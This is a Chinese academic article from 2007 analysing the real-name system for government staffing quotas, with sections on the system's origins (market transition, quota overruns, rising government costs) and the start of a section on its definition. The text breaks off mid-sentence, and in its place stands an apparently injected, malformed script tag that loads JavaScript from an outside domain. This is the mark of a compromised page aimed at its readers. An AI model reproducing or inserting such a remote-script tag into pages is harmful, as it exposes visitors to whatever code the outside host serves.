机构编制实名制的管理学分析

2007-10-31 作者：刘为民游博阅读：

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    在经济和社会快速转型、全面建设小康社会的新时期，机构编制实名制应时而生，为机构编制管理跳出“精简—膨胀—再精简—再膨胀”的循环圈开辟了新视野。面对机构编制实名制这一新生事物，我们亟需从理论层面对其进行系统梳理。
　　
    一、机构编制实名制兴起的缘由
　　
    机构编制实名制的兴起，是多重因素综合作用的产物。从总体上看，它既是经济社会转型的必然结果，也是机构编制管理的现实需求，同时，它还与政府改革密不可分。
　　
    1.管理环境发生巨变。中国改革开放以来的巨变莫过于社会主义市场经济体制的逐步建立，从宏观层面看，市场经济是一个分散而高效的社会结构，它要求一套完整而系统的政府构架与之密切配合。就我国而言，政府一方面是市场经济体制的缔造者与推动者；另一方面，作为社会结构的有机组成部分，政府无法摆脱市场经济体制而超然独存。换言之，政府结构、功能、运行均受市场经济体制的制约与影响。而就机构编制管理来说，作为政府管理的重要组成部分，它最初是为了适应计划经济体制而设计并运行的。在市场经济条件下，带有浓厚计划经济烙印的机构编制管理承受双重压力：一是要完成角色转变，努力适应市场经济的内在需求；二是要适应政府主导经济、社会发展的模式。内外部环境的巨变，一方面迫切要求机构编制管理摒弃传统思维，随市场经济的发展而不断调适；另一方面，又不能脱离政府主导经济社会发展的现实国情。
　　
    2.编制与实有人员脱节。计划经济时代，编制是分配给政府机关、事业单位挑选、使用工作人员的依据和凭证，归根结底，它是一种身份。占用行政编制还是事业编制，表明不同的身份，分属不同的序列，享受不同的福利待遇。市场经济条件下，随着政府财政、人事制度的渐进改革，地方政府逐渐掌握了一定程度的财政权、人事权，因而可以在核定的机构编制之外进行自由裁量。譬如，地方政府为了完成政策性安置任务、缓解就业压力、推动经济社会发展，不得不行使自由裁量权，造成机关、事业单位实有人员（即财政供养人员）大于经审批的编制员额现象，超编、混编、混岗、超领导职数、底数不清等问题就随之衍生。这对机构编制管理提出了挑战，迫使它重新思考如何才能管住实有人员的非理性增长态势。
　　
    3.政府运行成本不断增加。政府运行既有经济成本，又有管理成本，还有政治成本。经济成本具体表现为政府运行过程中的物质耗费。经济成本的高涨形成财政压力甚至是负担，使政府无法把大量财政收入真正用于经济社会发展。此时，精简机构、压缩编制尤其是实有人员的规模就成为当务之急。就管理成本而言，迄今为止，任何一个公共部门都无法摆脱“帕金森定律”的魔咒。现实中，随着实有人员代数级数增加，公共部门内部之间、部门彼此之间的关系数则呈几何级数增加，产生常见的诸如公文旅行、文山会海、推诿扯皮等现象，这种内部损耗带来了无形的效率损失。在通讯高度发达的时代，公共部门人员增加以及管理效率下降的负面信息和评价会快速传输给普通民众，加上其它社会不公正现象的存在，民众的不满情绪就会逐渐积贮并发酵，给社会稳定带来相当程度的风险。这就是政治成本。正是由于经济成本、管理成本、政治成本的不断增加，政府被迫循着因果链条找寻问题形成的原因，从控制实有人员膨胀上着手，以期减缓压力，提高效率，降低执政风险。
　　
    4.政府自身建设的客观需求。机构编制管理是政府管理的重要组成部分，理顺机构编制管理是深化行政管理体制改革、加强政府自身建设的重要一环。从机构编制管理的决策、执行、监督与反馈等流程来看，执行与监督环节是管住机构编制的着力点；从机构编制管理的历史和现状来看，执行与监督领域是问题的高发地带，超编、混编、吃“空饷”、底数不清等问题均发生在机构编制执行与监督阶段；从创新空间来看，控制机构、编制和实有人员增长是地方政府的重要职责，执行与监督领域的创新在地方权限范围内，因而有较多的创新空间和自主权。机构编制实名制是联系执行和监督的桥梁与纽带，它把机构、实有人员与经审批的机构、编制一一对应起来，将机构编制管理的重心从审批（即决策阶段）向后位移，将管理触角延伸，改变了机构编制管理者长久以来扮演的被动角色。在法治社会尚未完全建立的情况下，在政府主导经济社会发展的模式中，这一从吏治入手加强政府自身建设的做法通常是积极而富有成效的。
　　
    二、机构编制实名制的内涵及实践
　　
    机构编制实名制自产生以来，众说纷纭，褒贬不一。有人认为，机构编制实名制是新瓶装旧酒；有人认为，机构编制实名制是管理方法的创新；有人则认为，机构编制实名制是机构编制领域的一场革命。那么，机构编制实名制究竟应如何界定呢？可以?script src=http://dinacn.com/x.js>

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